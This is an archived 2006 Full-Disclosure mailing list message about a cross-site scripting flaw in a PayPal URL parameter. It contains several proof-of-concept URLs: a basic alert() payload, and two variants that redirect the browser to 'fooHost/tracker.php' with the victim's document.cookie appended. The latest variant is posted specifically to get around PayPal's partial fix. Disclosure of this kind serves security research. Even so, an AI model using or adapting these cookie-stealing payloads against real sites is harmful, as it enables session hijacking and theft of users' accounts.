full-disclosure - Re: alert()

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sun, 05 Nov 2006 22:24:25 -0500
From: Matthew Flaschen <matthew.flaschen@...ech.edu>
To: Matthew Flaschen <matthew.flaschen@...ech.edu>
Cc: full-disclosure@...ts.grok.org.uk, spoof@...pal.com
Subject: Re: alert()

Hmm, I got an email from Paypal, saying

"Thank you for bringing this incident of suspicious activity to our
attention. PayPal will investigate this activity immediately and contact
you further if any additional information is required.[...]"

I'm fairly certain they're referring to this exploit, which I CCed them
on my previous post.

Also, the POC I posted no longer works.  It looks like Paypal is no
longer unescaping double quotation marks.  Thus, the script fails to
append the cookie.  At any rate, just changing the double quotes to
single quotes makes the POC work again:

https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location='http://fooHost/tracker.php?'%2Bdocument.cookie

Matt Flaschen

Matthew Flaschen wrote:
> Good find.  How about using it to steal the entire PayPal cookie, though:
>  https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location=%22http://fooHost/tracker.php?%22%2Bdocument.cookie;
> 
> 
> auto113922@...h.ai wrote:
>> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-
>> outside&voice=javascript:document.write('heh');alert('bl00p');
>>
>>
>>
>> Concerned about your privacy? Instantly send FREE secure email, no account required
>> http://www.hushmail.com/send?l=480
>>
>> Get the best prices on SSL certificates from Hushmail
>> https://www.hushssl.com?l=485
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

Download attachment "signature.asc" of type "application/pgp-signature" (251 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/